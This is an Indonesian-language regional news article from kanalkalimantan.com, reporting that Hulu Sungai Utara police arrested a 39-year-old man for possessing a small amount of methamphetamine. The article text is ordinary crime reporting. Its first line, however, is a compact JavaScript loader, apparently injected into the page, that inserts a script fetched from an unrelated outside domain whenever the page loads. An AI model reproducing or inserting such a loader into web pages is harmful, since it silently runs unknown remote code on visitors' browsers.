(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Satres Narkoba) Polres Hulu Sungai Utara (HSU) berhasil meringkus seorang pengguna narkoba dengan barang bukti sabu 0,42 gram atau berat bersih 0,23 gram.
Pria yang berhasil diringkus tersebut berinisial AE (39), warga Desa Sungai Luang Hilir RT01, Kecamatan Babirik, Kabupaten HSU.
Kasat Narkoba Polres HSU Iptu Siswadi mengungkapkan kronologi penangkapan AE bermula dari informasi masyarakat akan adanya peredaran sabu di Desa Sungai Luang Hilir.
“Membentuk tim untuk melakukan upaya penyelidikan,” terang Iptu Siswadi, kepada kanalkalimanatan.com, Kamis (10/3/2022).
Merespons laporan tersebut, anggota lalu melakukan penyelidikan terhadap terlapor dan sekitar pukul 21.40 Wita.
Sesaat tiba di rumah AE, seketika itu rumah tersangka dikepung dari samping kanan maupun kiri.
“Salah satu anggota kita mengetuk pintu rumah tersangka, pelaku rupanya curiga dan ada membuang benda mencurigakan dengan tangan kanan ke arah jendela. AE berusaha lari ke belakang rumah, tapi berhasil diamankan di dapur, kemudian penggeledahan disaksikan oleh Ketua RT setempat,” jelasnya.
Alhasil dari penggeledahan di sekitar rumah tersangka ditemukan 1 buah plastik piper klip, di dalamnya terdapat narkotika jenis sabu.
“Selain itu telah ada juga diamankan barang bukti lainnya yaitu sebuah HP merek Nokia warna hitam lengkap dengan sim card, serta uang tunai sebesar Rp330.000,” ungkapnya.
Baca juga : Ingin Vaksin Dosis Kedua di Sekolah, Anak Malah Terdata Vaksin di Kabupaten Tetangga
Saat dilakukan interogasi, akhirnya tersangka mengakui bahwa satu paket barang haram tersebut miliknya.
Atas temuan tersebut tersangka dan barang bukti dibawa ke kantor Satres Narkoba Polres HSU untuk dilakukan penyidikan dan pengembangan lebih lanjut terkait asal usul barang.
Tersangka penyalahgunaan narkoba itu dikenakan Pasal 112 ayat (1) subsider pasal 127 ayat UU RI No. 35 tahun 2009 tentang Narkotika karena tanpa hak atau melawan hukum memiliki, menyimpan, menguasai, atau menyediakan Narkotika Golongan I bukan tanaman dipidana dengan pidana penjara paling singkat 4 tahun dan paling lama 12 tahun. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More
This website uses cookies.